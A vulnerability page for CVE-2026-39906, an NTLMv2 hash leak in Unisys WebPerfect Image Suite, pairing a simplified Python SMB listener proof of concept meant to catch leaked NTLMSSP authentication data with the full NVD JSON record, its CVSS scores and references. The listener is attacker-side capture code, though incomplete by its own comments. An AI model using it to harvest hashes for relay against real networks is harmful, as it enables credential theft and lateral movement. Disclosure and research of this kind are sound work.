CVE-2026-39906

# PoC Concept: SMB Listener to capture NTLMv2 hash # Usage: python3 ntlm_capture.py import socket from struct import pack, unpack # This is a simplified example of an SMB listener to catch the hash. # In a real scenario, use tools like Responder or Impacket's ntlmrelayx. def handle_connection(client_socket): try: data = client_socket.recv(1024) if b'SMB' in data: print("[+] Received SMB Connection from target") # Normally you would send back a challenge here to get the hash # For demonstration, we just acknowledge. response = b"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00" client_socket.send(response) # Wait for NTLMSSP_NEGOTIATE or AUTH auth_data = client_socket.recv(1024) if b'NTLMSSP' in auth_data: print("[+] Captured NTLMSSP Packet (Hash extraction logic applies here)") print(f"[+] Data: {auth_data}") except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() def start_listener(port=445): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', port)) server.listen(5) print(f"[*] Listening on port {port} for incoming SMB connections...") while True: client, addr = server.accept() print(f"[*] Accepted connection from: {addr[0]}:{addr[1]}") handle_connection(client) if __name__ == "__main__": # Note: Running on port 445 requires root/admin privileges start_listener(445)

{"cve": {"id": "CVE-2026-39906", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:32.160", "lastModified": "2026-05-06T14:38:44.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unisys WebPerfect Image Suite versions 3.0.3960.22810 and 3.0.3960.22604 expose a deprecated .NET Remoting TCP channel that allows remote unauthenticated attackers to leak NTLMv2 machine-account hashes by supplying a Windows UNC path as a target file argument through object-unmarshalling techniques. Attackers can capture the leaked NTLMv2 hash and relay it to other hosts to achieve privilege escalation or lateral movement depending on network configuration and patch level."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:unisys:webperfect_image_suite:3.0.3960.22604:*:*:*:*:*:*:*", "matchCriteriaId": "2ED91360-B253-45DB-B64B-AAEDC759632D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:unisys:webperfect_image_suite:3.0.3960.22810:*:*:*:*:*:*:*", "matchCriteriaId": "77C6202C-EF3F-4D52-A435-308B8BFC007B"}]}]}], "references": [{"url": "https://gist.github.com/VAMorales/be3e4ed472c51794493c1256cce16129", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.unisys.com/solutions/cai/applications/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/unisys-webperfect-image-suite-ntlmv2-hash-leakage-via-net-remoting", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}